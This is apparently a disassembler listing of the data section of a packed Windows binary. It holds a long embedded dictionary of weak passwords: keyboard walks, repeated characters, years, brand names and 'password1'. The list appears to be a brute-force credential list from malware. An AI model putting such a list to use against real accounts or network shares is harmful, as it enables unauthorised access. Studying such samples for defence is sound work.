aW:					; DATA XREF: sub_401AA1+696o
					; sub_401AA1+6ABo ...
		unicode	0, <w>,0
aVvvvvv		db 'vvvvvv',0           ; DATA XREF: .nsp0:0042857Co
		align 4
aVvvvv		db 'vvvvv',0            ; DATA XREF: .nsp0:00428578o
		align 10h
aVvvv		db 'vvvv',0             ; DATA XREF: .nsp0:00428574o
		align 4
aVvv		db 'vvv',0              ; DATA XREF: .nsp0:00428570o
aVv		db 'vv',0               ; DATA XREF: .nsp0:0042856Co
		align 10h
aV:					; DATA XREF: .nsp0:00428568o
					; .nsp0:0043B034o ...
		unicode	0, <v>,0
aYyyyyy		db 'yyyyyy',0           ; DATA XREF: .nsp0:00428564o
		align 4
aYyyyy		db 'yyyyy',0            ; DATA XREF: .nsp0:00428560o
		align 4
aYyyy		db 'yyyy',0             ; DATA XREF: .nsp0:0042855Co
		align 4
aYyy		db 'yyy',0              ; DATA XREF: .nsp0:00428558o
aYy		db 'yy',0               ; DATA XREF: .nsp0:00428554o
		align 4
aY:					; DATA XREF: .nsp0:00428550o
					; .nsp0:0043AFF4o ...
		unicode	0, <y>,0
aTttttt		db 'tttttt',0           ; DATA XREF: .nsp0:0042854Co
		align 10h
aTtttt		db 'ttttt',0            ; DATA XREF: .nsp0:00428548o
		align 4
aTttt		db 'tttt',0             ; DATA XREF: .nsp0:00428544o
		align 10h
aTtt		db 'ttt',0              ; DATA XREF: .nsp0:00428540o
aTt		db 'tt',0               ; DATA XREF: .nsp0:0042853Co
		align 4
aT:					; DATA XREF: sub_401AA1+134Bo
					; .nsp0:00428538o ...
		unicode	0, <t>,0
aSsssss		db 'ssssss',0           ; DATA XREF: .nsp0:00428534o
		align 4
aSssss		db 'sssss',0            ; DATA XREF: .nsp0:00428530o
		align 4
aSsss		db 'ssss',0             ; DATA XREF: .nsp0:0042852Co
		align 4
aSss		db 'sss',0              ; DATA XREF: .nsp0:00428528o
aSs		db 'ss',0               ; DATA XREF: .nsp0:00428524o
		align 4
aS_1:					; DATA XREF: sub_401AA1+12A5o
					; .nsp0:00428520o ...
		unicode	0, <s>,0
aUuuuuu		db 'uuuuuu',0           ; DATA XREF: .nsp0:0042851Co
		align 4
aUuuuu		db 'uuuuu',0            ; DATA XREF: .nsp0:00428518o
		align 10h
aUuuu		db 'uuuu',0             ; DATA XREF: .nsp0:00428514o
		align 4
aUuu		db 'uuu',0              ; DATA XREF: .nsp0:00428510o
aUu		db 'uu',0               ; DATA XREF: .nsp0:0042850Co
		align 10h
aU:					; DATA XREF: sub_401AA1+4729o
					; .nsp0:00428508o ...
		unicode	0, <u>,0
aPppppp		db 'pppppp',0           ; DATA XREF: .nsp0:00428504o
		align 4
aPpppp		db 'ppppp',0            ; DATA XREF: .nsp0:00428500o
		align 4
aPppp		db 'pppp',0             ; DATA XREF: .nsp0:004284FCo
		align 4
aPpp		db 'ppp',0              ; DATA XREF: .nsp0:004284F8o
aPp		db 'pp',0               ; DATA XREF: .nsp0:004284F4o
		align 4
aP:					; DATA XREF: sub_401AA1+479Co
					; .nsp0:004284F0o ...
		unicode	0, <p>,0
aOooooo		db 'oooooo',0           ; DATA XREF: .nsp0:004284ECo
		align 10h
aOoooo		db 'ooooo',0            ; DATA XREF: .nsp0:004284E8o
		align 4
aOooo		db 'oooo',0             ; DATA XREF: .nsp0:004284E4o
		align 10h
aOoo		db 'ooo',0              ; DATA XREF: .nsp0:004284E0o
aOo		db 'oo',0               ; DATA XREF: .nsp0:004284DCo
		align 4
aO:					; DATA XREF: sub_401AA1+38E7o
					; .nsp0:004284D8o ...
		unicode	0, <o>,0
aNnnnnn		db 'nnnnnn',0           ; DATA XREF: .nsp0:004284D4o
		align 4
aNnnnn		db 'nnnnn',0            ; DATA XREF: .nsp0:004284D0o
		align 4
aNnnn		db 'nnnn',0             ; DATA XREF: .nsp0:004284CCo
		align 4
aNnn		db 'nnn',0              ; DATA XREF: .nsp0:004284C8o
aNn		db 'nn',0               ; DATA XREF: .nsp0:004284C4o
		align 4
aN:					; DATA XREF: sub_401AA1+3797o
					; .nsp0:004284C0o ...
		unicode	0, <n>,0
aMmmmmm		db 'mmmmmm',0           ; DATA XREF: .nsp0:004284BCo
		align 4
aMmmmm		db 'mmmmm',0            ; DATA XREF: .nsp0:004284B8o
		align 10h
aMmmm		db 'mmmm',0             ; DATA XREF: .nsp0:004284B4o
		align 4
aMmm		db 'mmm',0              ; DATA XREF: .nsp0:004284B0o
aMm		db 'mm',0               ; DATA XREF: .nsp0:004284ACo
		align 10h
aM:					; DATA XREF: sub_401AA1+407Bo
					; .nsp0:004284A8o ...
		unicode	0, <m>,0
aLlllll		db 'llllll',0           ; DATA XREF: .nsp0:004284A4o
		align 4
aLllll		db 'lllll',0            ; DATA XREF: .nsp0:004284A0o
		align 4
aLlll		db 'llll',0             ; DATA XREF: .nsp0:0042849Co
		align 4
aLll		db 'lll',0              ; DATA XREF: .nsp0:00428498o
aLl		db 'll',0               ; DATA XREF: .nsp0:00428494o
		align 4
asc_428954:				; DATA XREF: .nsp0:00428490o
					; .nsp0:0043B024o ...
		unicode	0, <l>,0
aKkkkkk		db 'kkkkkk',0           ; DATA XREF: .nsp0:0042848Co
		align 10h
aKkkkk		db 'kkkkk',0            ; DATA XREF: .nsp0:00428488o
		align 4
aKkkk		db 'kkkk',0             ; DATA XREF: .nsp0:00428484o
		align 10h
aKkk		db 'kkk',0              ; DATA XREF: .nsp0:00428480o
aKk		db 'kk',0               ; DATA XREF: .nsp0:0042847Co
		align 4
aK:					; DATA XREF: sub_401AA1+383Fo
					; .nsp0:00428478o ...
		unicode	0, <k>,0
aJjjjjj		db 'jjjjjj',0           ; DATA XREF: .nsp0:00428474o
		align 4
aJjjjj		db 'jjjjj',0            ; DATA XREF: .nsp0:00428470o
		align 4
aJjjj		db 'jjjj',0             ; DATA XREF: .nsp0:0042846Co
		align 4
aJjj		db 'jjj',0              ; DATA XREF: .nsp0:00428468o
aJj		db 'jj',0               ; DATA XREF: .nsp0:00428464o
		align 4
aJ:					; DATA XREF: sub_401AA1+37C1o
					; .nsp0:00428460o ...
		unicode	0, <j>,0
aIiiiii		db 'iiiiii',0           ; DATA XREF: .nsp0:0042845Co
		align 4
aIiiii		db 'iiiii',0            ; DATA XREF: .nsp0:00428458o
		align 10h
aIiii		db 'iiii',0             ; DATA XREF: .nsp0:00428454o
		align 4
aIii		db 'iii',0              ; DATA XREF: .nsp0:00428450o
aIi		db 'ii',0               ; DATA XREF: .nsp0:0042844Co
		align 10h
aI_0:					; DATA XREF: .nsp0:00428448o
					; .nsp0:0043AFFCo ...
		unicode	0, <i>,0
aHhhhhh		db 'hhhhhh',0           ; DATA XREF: .nsp0:00428444o
		align 4
aHhhhh		db 'hhhhh',0            ; DATA XREF: .nsp0:00428440o
		align 4
aHhhh		db 'hhhh',0             ; DATA XREF: .nsp0:0042843Co
		align 4
aHhh		db 'hhh',0              ; DATA XREF: .nsp0:00428438o
aHh		db 'hh',0               ; DATA XREF: .nsp0:00428434o
		align 4
asc_4289E4:				; DATA XREF: .nsp0:00428430o
					; .nsp0:0043B018o ...
		unicode	0, <h>,0
aGggggg		db 'gggggg',0           ; DATA XREF: .nsp0:0042842Co
		align 10h
aGgggg		db 'ggggg',0            ; DATA XREF: .nsp0:00428428o
		align 4
aGggg		db 'gggg',0             ; DATA XREF: .nsp0:00428424o
		align 10h
aGgg		db 'ggg',0              ; DATA XREF: .nsp0:00428420o
aGg		db 'gg',0               ; DATA XREF: .nsp0:0042841Co
		align 4
aG:					; DATA XREF: .nsp0:00428418o
					; .nsp0:0043B014o ...
		unicode	0, <g>,0
aEeeeee		db 'eeeeee',0           ; DATA XREF: .nsp0:00428414o
		align 4
aEeeee		db 'eeeee',0            ; DATA XREF: .nsp0:00428410o
		align 4
aEeee		db 'eeee',0             ; DATA XREF: .nsp0:0042840Co
		align 4
aEee		db 'eee',0              ; DATA XREF: .nsp0:00428408o
aEe		db 'ee',0               ; DATA XREF: .nsp0:00428404o
		align 4
aE:					; DATA XREF: sub_401AA1+4275o
					; .nsp0:00428400o ...
		unicode	0, <e>,0
aFffff		db 'fffff',0            ; DATA XREF: .nsp0:004283FCo
		align 4
aFfff		db 'ffff',0             ; DATA XREF: .nsp0:004283F8o
		align 10h
aFff		db 'fff',0              ; DATA XREF: .nsp0:004283F4o
aFf		db 'ff',0               ; DATA XREF: .nsp0:004283F0o
		align 4
aF:					; DATA XREF: .nsp0:004283ECo
					; .nsp0:0043B010o ...
		unicode	0, <f>,0
aDdddd		db 'ddddd',0            ; DATA XREF: .nsp0:004283E8o
		align 4
aDddd		db 'dddd',0             ; DATA XREF: .nsp0:004283E4o
		align 4
aDdd		db 'ddd',0              ; DATA XREF: .nsp0:004283E0o
aDd		db 'dd',0               ; DATA XREF: .nsp0:004283DCo
		align 4
aD:					; DATA XREF: sub_401AA1+C13o
					; .nsp0:004283D8o ...
		unicode	0, <d>,0
aCcccccccc	db 'ccccccccc',0        ; DATA XREF: .nsp0:004283D4o
		align 4
aCccccccc	db 'cccccccc',0         ; DATA XREF: .nsp0:004283D0o
		align 10h
aCcccccc	db 'ccccccc',0          ; DATA XREF: .nsp0:004283CCo
aCccccc		db 'cccccc',0           ; DATA XREF: .nsp0:004283C8o
		align 10h
aCcccc		db 'ccccc',0            ; DATA XREF: .nsp0:004283C4o
		align 4
aCccc_0		db 'cccc',0             ; DATA XREF: .nsp0:004283C0o
		align 10h
aCcc		db 'ccc',0              ; DATA XREF: .nsp0:004283BCo
aCc		db 'cc',0               ; DATA XREF: .nsp0:004283B8o
		align 4
aC:					; DATA XREF: sub_401AA1+4311o
					; .nsp0:004283B4o ...
		unicode	0, <c>,0
aBbbbbbbbb	db 'bbbbbbbbb',0        ; DATA XREF: .nsp0:004283B0o
		align 4
aBbbbbbbb	db 'bbbbbbbb',0         ; DATA XREF: .nsp0:004283ACo
		align 4
aBbbbbbb	db 'bbbbbbb',0          ; DATA XREF: .nsp0:004283A8o
aBbbbbb		db 'bbbbbb',0           ; DATA XREF: .nsp0:004283A4o
		align 4
aBbbbb		db 'bbbbb',0            ; DATA XREF: .nsp0:004283A0o
		align 4
aBbbb		db 'bbbb',0             ; DATA XREF: .nsp0:0042839Co
		align 4
aBbb		db 'bbb',0              ; DATA XREF: .nsp0:00428398o
aBb		db 'bb',0               ; DATA XREF: .nsp0:00428394o
		align 4
aB_0:					; DATA XREF: .nsp0:00428390o
					; .nsp0:0043B038o ...
		unicode	0, <b>,0
aRfv		db 'rfv',0              ; DATA XREF: .nsp0:0042838Co
aEdc		db 'edc',0              ; DATA XREF: .nsp0:00428388o
aWsx		db 'wsx',0              ; DATA XREF: .nsp0:00428384o
aQaz		db 'qaz',0              ; DATA XREF: .nsp0:00428380o
aAsdfghjkl	db 'asdfghjkl',0        ; DATA XREF: .nsp0:0042837Co
		align 4
aAsdfghjk	db 'asdfghjk',0         ; DATA XREF: .nsp0:00428378o
		align 4
aAsdfghj	db 'asdfghj',0          ; DATA XREF: .nsp0:00428374o
aAsdfgh		db 'asdfgh',0           ; DATA XREF: .nsp0:00428370o
		align 4
aAsdfg		db 'asdfg',0            ; DATA XREF: .nsp0:0042836Co
		align 10h
aAs		db 'as',0               ; DATA XREF: .nsp0:00428360o
		align 4
aZxcvbnm	db 'zxcvbnm',0          ; DATA XREF: .nsp0:0042835Co
aZxcvbn		db 'zxcvbn',0           ; DATA XREF: .nsp0:00428358o
		align 4
aZxcvb		db 'zxcvb',0            ; DATA XREF: .nsp0:00428354o
		align 4
aZxc		db 'zxc',0              ; DATA XREF: .nsp0:0042834Co
aZx		db 'zx',0               ; DATA XREF: .nsp0:00428348o
		align 4
aZ:					; DATA XREF: .nsp0:00428344o
					; .nsp0:004285B0o ...
		unicode	0, <z>,0
aKonyang	db 'konyang',0          ; DATA XREF: .nsp0:00428340o
aToyota_0	db 'TOYOTA',0
		align 4
aKor		db 'KOR',0
aKor_0		db 'kor',0              ; DATA XREF: .nsp0:004282FCo
aChi		db 'chi',0              ; DATA XREF: .nsp0:004282F8o
off_428B74	dd offset byte_494843	; DATA XREF: .nsp0:004282F4o
aSystem		db 'system',0           ; DATA XREF: .nsp0:004282ECo
					; .nsp0:00428630o
		align 10h
aServices	db 'services',0         ; DATA XREF: .nsp0:004282E8o
		align 4
aServers	db 'servers',0          ; DATA XREF: .nsp0:004282E4o
aServer_1	db 'server',0           ; DATA XREF: .nsp0:004282DCo
		align 4
aQwertyuiop	db 'qwertyuiop',0       ; DATA XREF: .nsp0:004282D4o
		align 4
aQwertyuio	db 'qwertyuio',0        ; DATA XREF: .nsp0:004282D0o
		align 4
aQwertyui	db 'qwertyui',0         ; DATA XREF: .nsp0:004282CCo
		align 10h
aQwertyu	db 'qwertyu',0          ; DATA XREF: .nsp0:004282C8o
aQwe		db 'qwe',0              ; DATA XREF: .nsp0:004282B8o
aQw		db 'qw',0               ; DATA XREF: .nsp0:004282B4o
		align 10h
aPassword1	db 'password1',0        ; DATA XREF: .nsp0:004282B0o
		align 4
aPassword_0	db 'Password',0         ; DATA XREF: .nsp0:004282ACo
		align 4
aAaaaaaaaa	db 'aaaaaaaaa',0        ; DATA XREF: .nsp0:004282A8o
		align 4
aAaaaaaaa	db 'aaaaaaaa',0         ; DATA XREF: .nsp0:004282A4o
		align 10h
aAaaaaaa	db 'aaaaaaa',0          ; DATA XREF: .nsp0:004282A0o
aAaaaaa		db 'aaaaaa',0           ; DATA XREF: .nsp0:0042829Co
		align 10h
aAaaaa		db 'aaaaa',0            ; DATA XREF: .nsp0:00428298o
		align 4
aAaaa		db 'aaaa',0             ; DATA XREF: .nsp0:00428294o
		align 10h
aAa		db 'aa',0               ; DATA XREF: sub_401AA1+3FC3o
					; .nsp0:0042828Co
		align 4
aXp		db 'XP',0               ; DATA XREF: .nsp0:00409FC5o
					; sub_4179BF+AAo ...
		align 4
aNokia		db 'NOKIA',0            ; DATA XREF: .nsp0:00428280o
		align 10h
aSex		db 'SEX',0              ; DATA XREF: .nsp0:0042827Co
aCreative	db 'CREATIVE',0         ; DATA XREF: .nsp0:00428278o
		align 10h
aDisc_0		db 'DISC',0             ; DATA XREF: .nsp0:00428274o
		align 4
aMicrosoft	db 'MICROSOFT',0        ; DATA XREF: .nsp0:00428270o
		align 4
aMaster_0	db 'MASTER',0           ; DATA XREF: .nsp0:0042826Co
		align 4
aSony_0		db 'SONY',0             ; DATA XREF: .nsp0:00428268o
		align 4
aSamsung	db 'samsung',0          ; DATA XREF: .nsp0:00428264o
aSamsung_0	db 'SAMSUNG',0          ; DATA XREF: .nsp0:00428260o
aSony		db 'sony',0             ; DATA XREF: .nsp0:0042825Co
		align 4
a7654321	db '7654321',0          ; DATA XREF: .nsp0:00428258o
a4321		db '4321',0             ; DATA XREF: .nsp0:0042824Co
		align 4
a321		db '321',0              ; DATA XREF: .nsp0:00428248o
a2006		db '2006',0             ; DATA XREF: .nsp0:00428240o
		align 4
a2005		db '2005',0             ; DATA XREF: .nsp0:0042823Co
		align 10h
a2004		db '2004',0             ; DATA XREF: .nsp0:00428238o
		align 4
a2001		db '2001',0             ; DATA XREF: .nsp0:0042822Co
		align 10h
a2000		db '2000',0             ; DATA XREF: .nsp0:00428228o
		align 4
a1999		db '1999',0             ; DATA XREF: .nsp0:00428224o
		align 10h
a1998		db '1998',0             ; DATA XREF: .nsp0:00428220o
		align 4
a1997		db '1997',0             ; DATA XREF: .nsp0:0042821Co
		align 10h
a1996		db '1996',0             ; DATA XREF: .nsp0:00428218o
		align 4
a1995		db '1995',0             ; DATA XREF: .nsp0:00428214o
		align 10h
a1994		db '1994',0             ; DATA XREF: .nsp0:00428210o
		align 4
a1993		db '1993',0             ; DATA XREF: .nsp0:0042820Co
		align 10h
a1992		db '1992',0             ; DATA XREF: .nsp0:00428208o
		align 4
a1991		db '1991',0             ; DATA XREF: .nsp0:00428204o
		align 10h
a1990		db '1990',0             ; DATA XREF: .nsp0:00428200o
		align 4
a1989		db '1989',0             ; DATA XREF: .nsp0:004281FCo
		align 10h
a1988		db '1988',0             ; DATA XREF: .nsp0:004281F8o
		align 4
a1987		db '1987',0             ; DATA XREF: .nsp0:004281F4o
		align 10h
a1986		db '1986',0             ; DATA XREF: .nsp0:004281F0o
		align 4
a1985		db '1985',0             ; DATA XREF: .nsp0:004281ECo
		align 10h
a1984		db '1984',0             ; DATA XREF: .nsp0:004281E8o
		align 4
a1983		db '1983',0             ; DATA XREF: .nsp0:004281E4o
		align 10h
a1982		db '1982',0             ; DATA XREF: .nsp0:004281E0o
		align 4
a1981		db '1981',0             ; DATA XREF: .nsp0:004281DCo
		align 10h
a1980		db '1980',0             ; DATA XREF: .nsp0:004281D8o
		align 4
a1979		db '1979',0             ; DATA XREF: .nsp0:004281D4o
		align 10h
a1978		db '1978',0             ; DATA XREF: .nsp0:004281D0o
		align 4
a1977		db '1977',0             ; DATA XREF: .nsp0:004281CCo
		align 10h
a1976		db '1976',0             ; DATA XREF: .nsp0:004281C8o
		align 4
a1975		db '1975',0             ; DATA XREF: .nsp0:004281C4o
		align 10h
a1974		db '1974',0             ; DATA XREF: .nsp0:004281C0o
		align 4
a1973		db '1973',0             ; DATA XREF: .nsp0:004281BCo
		align 10h
a1972		db '1972',0             ; DATA XREF: .nsp0:004281B8o
		align 4
a1971		db '1971',0             ; DATA XREF: .nsp0:004281B4o
		align 10h
a1970		db '1970',0             ; DATA XREF: .nsp0:004281B0o
		align 4
a1969		db '1969',0             ; DATA XREF: .nsp0:004281ACo
		align 10h
a1968		db '1968',0             ; DATA XREF: .nsp0:004281A8o
		align 4
a1967		db '1967',0             ; DATA XREF: .nsp0:004281A4o
		align 10h
a1966		db '1966',0             ; DATA XREF: .nsp0:004281A0o
		align 4
a1965		db '1965',0             ; DATA XREF: .nsp0:0042819Co
		align 10h
a1964		db '1964',0             ; DATA XREF: .nsp0:00428198o
		align 4
a1963		db '1963',0             ; DATA XREF: .nsp0:00428194o
		align 10h
a1962		db '1962',0             ; DATA XREF: .nsp0:00428190o
		align 4
a1961		db '1961',0             ; DATA XREF: .nsp0:0042818Co
		align 10h
a1960		db '1960',0             ; DATA XREF: .nsp0:00428188o
		align 4
a1959		db '1959',0             ; DATA XREF: .nsp0:00428184o
		align 10h
a1958		db '1958',0             ; DATA XREF: .nsp0:00428180o
		align 4
a1957		db '1957',0             ; DATA XREF: .nsp0:0042817Co
		align 10h
a1956		db '1956',0             ; DATA XREF: .nsp0:00428178o
		align 4
a1955		db '1955',0             ; DATA XREF: .nsp0:00428174o
		align 10h
a1954		db '1954',0             ; DATA XREF: .nsp0:00428170o
		align 4
a1953		db '1953',0             ; DATA XREF: .nsp0:0042816Co
		align 10h
a1952		db '1952',0             ; DATA XREF: .nsp0:00428168o
		align 4
a1234qwe	db '1234qwe',0          ; DATA XREF: .nsp0:00428164o
a1234asd	db '1234asd',0          ; DATA XREF: .nsp0:00428160o
a1234abc	db '1234abc',0          ; DATA XREF: .nsp0:0042815Co
a123qwer	db '123qwer',0          ; DATA XREF: .nsp0:00428148o
a12qwe		db '12qwe',0            ; DATA XREF: .nsp0:00428144o
		align 10h
a12asd		db '12asd',0            ; DATA XREF: .nsp0:00428140o
		align 4
a12abc		db '12abc',0            ; DATA XREF: .nsp0:0042813Co
		align 10h
a12qwer		db '12qwer',0           ; DATA XREF: .nsp0:00428138o
		align 4
a1qwe		db '1qwe',0             ; DATA XREF: .nsp0:00428134o
		align 10h
a1asd		db '1asd',0             ; DATA XREF: .nsp0:00428130o
		align 4
a1abc		db '1abc',0             ; DATA XREF: .nsp0:0042812Co
		align 10h
a1qwer		db '1qwer',0            ; DATA XREF: .nsp0:00428128o
		align 4
a123467890	db '123467890',0        ; DATA XREF: .nsp0:00428124o
		align 4
a12346789	db '12346789',0         ; DATA XREF: .nsp0:00428120o
		align 10h
a1234678	db '1234678',0          ; DATA XREF: .nsp0:0042811Co
a123467		db '123467',0           ; DATA XREF: .nsp0:00428118o
		align 10h
a12346		db '12346',0            ; DATA XREF: .nsp0:00428114o
		align 4
a121		db '121',0              ; DATA XREF: .nsp0:004280ECo
a1020		db '1020',0             ; DATA XREF: .nsp0:004280E4o
		align 4
a0258		db '0258',0             ; DATA XREF: .nsp0:004280E0o
		align 4
a8520		db '8520',0             ; DATA XREF: .nsp0:004280DCo
		align 4
a987		db '987',0              ; DATA XREF: .nsp0:004280D8o
a789		db '789',0              ; DATA XREF: .nsp0:004280D4o
a654		db '654',0              ; DATA XREF: .nsp0:004280D0o
a456		db '456',0              ; DATA XREF: .nsp0:004280CCo
a1122		db '1122',0             ; DATA XREF: .nsp0:004280C8o
		align 4
a0147		db '0147',0             ; DATA XREF: .nsp0:004280C4o
		align 4
a7410		db '7410',0             ; DATA XREF: .nsp0:004280C0o
		align 4
a9999999999	db '9999999999',0       ; DATA XREF: .nsp0:004280B8o
		align 4
a999999999	db '999999999',0        ; DATA XREF: .nsp0:004280B4o
		align 4
a99999999	db '99999999',0         ; DATA XREF: .nsp0:004280B0o
		align 10h
a9999999	db '9999999',0          ; DATA XREF: .nsp0:004280ACo
a999999		db '999999',0           ; DATA XREF: .nsp0:004280A8o
		align 10h
a99999		db '99999',0            ; DATA XREF: .nsp0:004280A4o
		align 4
a9999		db '9999',0             ; DATA XREF: .nsp0:004280A0o
		align 10h
a999		db '999',0              ; DATA XREF: .nsp0:0042809Co
a99		db '99',0               ; DATA XREF: .nsp0:00428098o
		align 4
a9:					; DATA XREF: .nsp0:00428094o
		unicode	0, <9>,0
a8888888888	db '8888888888',0       ; DATA XREF: .nsp0:00428090o
		align 4
a888888888	db '888888888',0        ; DATA XREF: .nsp0:0042808Co
		align 4
a8888888	db '8888888',0          ; DATA XREF: .nsp0:00428084o
a888888		db '888888',0           ; DATA XREF: .nsp0:00428080o
		align 4
a88888		db '88888',0            ; DATA XREF: .nsp0:0042807Co
		align 4
a8888		db '8888',0             ; DATA XREF: .nsp0:00428078o
		align 4
a888		db '888',0              ; DATA XREF: .nsp0:00428074o
a88		db '88',0               ; DATA XREF: .nsp0:00428070o
		align 4
a8:					; DATA XREF: .nsp0:0042806Co
		unicode	0, <8>,0
a7777777777	db '7777777777',0       ; DATA XREF: .nsp0:00428068o
		align 4
a777777777	db '777777777',0        ; DATA XREF: .nsp0:00428064o
		align 4
a77777777	db '77777777',0         ; DATA XREF: .nsp0:00428060o
		align 4
a7777777	db '7777777',0          ; DATA XREF: .nsp0:0042805Co
a777777		db '777777',0           ; DATA XREF: .nsp0:00428058o
		align 4
a77777		db '77777',0            ; DATA XREF: .nsp0:00428054o
		align 4
a7777		db '7777',0             ; DATA XREF: .nsp0:00428050o
		align 4
a777		db '777',0              ; DATA XREF: .nsp0:0042804Co
a77		db '77',0               ; DATA XREF: .nsp0:00428048o
		align 4
a7:					; DATA XREF: .nsp0:00428044o
		unicode	0, <7>,0
a6666666666	db '6666666666',0       ; DATA XREF: .nsp0:00428040o
		align 4
a666666666	db '666666666',0        ; DATA XREF: .nsp0:0042803Co
		align 4
a66666666	db '66666666',0         ; DATA XREF: .nsp0:00428038o
		align 4
a6666666	db '6666666',0          ; DATA XREF: .nsp0:00428034o
a666666		db '666666',0           ; DATA XREF: .nsp0:00428030o
		align 4
a66666		db '66666',0            ; DATA XREF: .nsp0:0042802Co
		align 4
a6666		db '6666',0             ; DATA XREF: .nsp0:00428028o
		align 4
a666		db '666',0              ; DATA XREF: .nsp0:00428024o
a66		db '66',0               ; DATA XREF: .nsp0:00428020o
		align 4
a6:					; DATA XREF: .nsp0:0042801Co
		unicode	0, <6>,0
a5555555555	db '5555555555',0       ; DATA XREF: .nsp0:00428018o
		align 4
a555555555	db '555555555',0        ; DATA XREF: .nsp0:00428014o
		align 4
a55555555	db '55555555',0         ; DATA XREF: .nsp0:00428010o
		align 4
a5555555	db '5555555',0          ; DATA XREF: .nsp0:0042800Co
a555555		db '555555',0           ; DATA XREF: .nsp0:00428008o
		align 4
a55555		db '55555',0            ; DATA XREF: .nsp0:00428004o
		align 4
a5555		db '5555',0             ; DATA XREF: .nsp0:00428000o
		align 4
a555		db '555',0              ; DATA XREF: .nsp0:00427FFCo
a55		db '55',0               ; DATA XREF: .nsp0:00427FF8o
		align 4
a5:					; DATA XREF: .nsp0:00427FF4o
		unicode	0, <5>,0
a4444444444	db '4444444444',0       ; DATA XREF: .nsp0:00427FF0o
		align 4
a444444444	db '444444444',0        ; DATA XREF: .nsp0:00427FECo
		align 4
a44444444	db '44444444',0         ; DATA XREF: .nsp0:00427FE8o
		align 4
a4444444	db '4444444',0          ; DATA XREF: .nsp0:00427FE4o
a444444		db '444444',0           ; DATA XREF: .nsp0:00427FE0o
		align 4
a44444		db '44444',0            ; DATA XREF: .nsp0:00427FDCo
		align 4
a4444		db '4444',0             ; DATA XREF: .nsp0:00427FD8o
		align 4
a444		db '444',0              ; DATA XREF: .nsp0:00427FD4o
a44		db '44',0               ; DATA XREF: .nsp0:00427FD0o
		align 4
a4:					; DATA XREF: .nsp0:00427FCCo
		unicode	0, <4>,0
a3333333333	db '3333333333',0       ; DATA XREF: .nsp0:00427FC8o
		align 4
a333333333	db '333333333',0        ; DATA XREF: .nsp0:00427FC4o
		align 4
a33333333	db '33333333',0         ; DATA XREF: .nsp0:00427FC0o
		align 4
a3333333	db '3333333',0          ; DATA XREF: .nsp0:00427FBCo
a333333		db '333333',0           ; DATA XREF: .nsp0:00427FB8o
		align 4
a33333		db '33333',0            ; DATA XREF: .nsp0:00427FB4o
		align 4
a3333		db '3333',0             ; DATA XREF: .nsp0:00427FB0o
		align 4
a333		db '333',0              ; DATA XREF: .nsp0:00427FACo
a33		db '33',0               ; DATA XREF: .nsp0:00427FA8o
		align 4
a3:					; DATA XREF: .nsp0:00427FA4o
		unicode	0, <3>,0
a2222222222	db '2222222222',0       ; DATA XREF: .nsp0:00427FA0o
		align 4
a222222222	db '222222222',0        ; DATA XREF: .nsp0:00427F9Co
		align 4
a22222222	db '22222222',0         ; DATA XREF: .nsp0:00427F98o
		align 4
a2222222	db '2222222',0          ; DATA XREF: .nsp0:00427F94o
a222222		db '222222',0           ; DATA XREF: .nsp0:00427F90o
		align 4
a22222		db '22222',0            ; DATA XREF: .nsp0:00427F8Co
		align 4
a2222		db '2222',0             ; DATA XREF: .nsp0:00427F88o
		align 4
a222		db '222',0              ; DATA XREF: .nsp0:00427F84o
a22		db '22',0               ; DATA XREF: .nsp0:00427F80o
		align 4
a2:					; DATA XREF: .nsp0:00427F7Co
		unicode	0, <2>,0
a1111111111	db '1111111111',0       ; DATA XREF: .nsp0:00427F78o
		align 4
a111111111	db '111111111',0        ; DATA XREF: .nsp0:00427F74o
		align 4
a1111111	db '1111111',0          ; DATA XREF: .nsp0:00427F6Co
a11111		db '11111',0            ; DATA XREF: .nsp0:00427F64o
		align 4
a1111		db '1111',0             ; DATA XREF: .nsp0:00427F60o
		align 10h
a11		db '11',0               ; DATA XREF: .nsp0:00427F58o
		align 4
a010		db '010',0              ; DATA XREF: .nsp0:00427F48o
a009		db '009',0              ; DATA XREF: .nsp0:00427F44o
a008		db '008',0              ; DATA XREF: .nsp0:00427F40o
a006		db '006',0              ; DATA XREF: .nsp0:00427F38o
a005		db '005',0              ; DATA XREF: sub_401AA1+207o
					; .nsp0:00427F34o
a004		db '004',0              ; DATA XREF: .nsp0:00427F30o
a003		db '003',0              ; DATA XREF: .nsp0:00427F2Co
a002		db '002',0              ; DATA XREF: .nsp0:00427F28o
a001		db '001',0              ; DATA XREF: sub_401AA1+1F2o
					; .nsp0:00427F24o
asc_4291D8	db '*********',0        ; DATA XREF: .nsp0:00427F20o
		align 4
asc_4291E4	db '********',0         ; DATA XREF: .nsp0:00427F1Co
		align 10h
asc_4291F0	db '*******',0          ; DATA XREF: .nsp0:00427F18o
asc_4291F8	db '******',0           ; DATA XREF: .nsp0:00427F14o
		align 10h
asc_429200	db '*****',0            ; DATA XREF: .nsp0:00427F10o
		align 4
asc_429208	db '****',0             ; DATA XREF: .nsp0:00427F0Co
		align 10h
asc_429210	db '***',0              ; DATA XREF: .nsp0:00427F08o
asc_429214	db '**',0               ; DATA XREF: .nsp0:00427F04o
		align 4
asc_429218:				; DATA XREF: sub_40EC19+156o
					; .nsp0:00427F00o
		unicode	0, <*>,0
a0000000000	db '0000000000',0       ; DATA XREF: .nsp0:00427EFCo
		align 4
a000000000	db '000000000',0        ; DATA XREF: .nsp0:00427EF8o
		align 4
a@		db '@!',0               ; DATA XREF: .nsp0:00427ED8o
		align 4
a@_0		db '#@!',0              ; DATA XREF: .nsp0:00427ED4o
a@_1		db '$#@!',0             ; DATA XREF: .nsp0:00427ED0o
		align 4
a@_2		db '%$#@!',0            ; DATA XREF: .nsp0:00427ECCo
		align 4
a@_3		db '^%$#@!',0           ; DATA XREF: .nsp0:00427EC8o
		align 4
a@_4		db '&^%$#@!',0          ; DATA XREF: .nsp0:00427EC4o
a@_5		db '*&^%$#@!',0         ; DATA XREF: .nsp0:00427EC0o
		align 4
asc_429268	db '$$$',0              ; DATA XREF: .nsp0:00427EBCo
asc_42926C	db '$$',0               ; DATA XREF: .nsp0:00427EB8o
		align 10h
asc_429270:				; DATA XREF: .nsp0:00427EB4o
		unicode	0, <$>,0
a456_0		db '456+',0             ; DATA XREF: .nsp0:00427EB0o
		align 4
a789_0		db '789+',0             ; DATA XREF: .nsp0:00427EACo
		align 4
a0		db '=-0',0              ; DATA XREF: .nsp0:00427EA8o
asc_429288	db '--++',0             ; DATA XREF: .nsp0:00427EA4o
		align 10h
asc_429290	db '-+',0               ; DATA XREF: .nsp0:00427EA0o
		align 4
asc_429294	db '----',0             ; DATA XREF: .nsp0:00427E9Co
		align 4
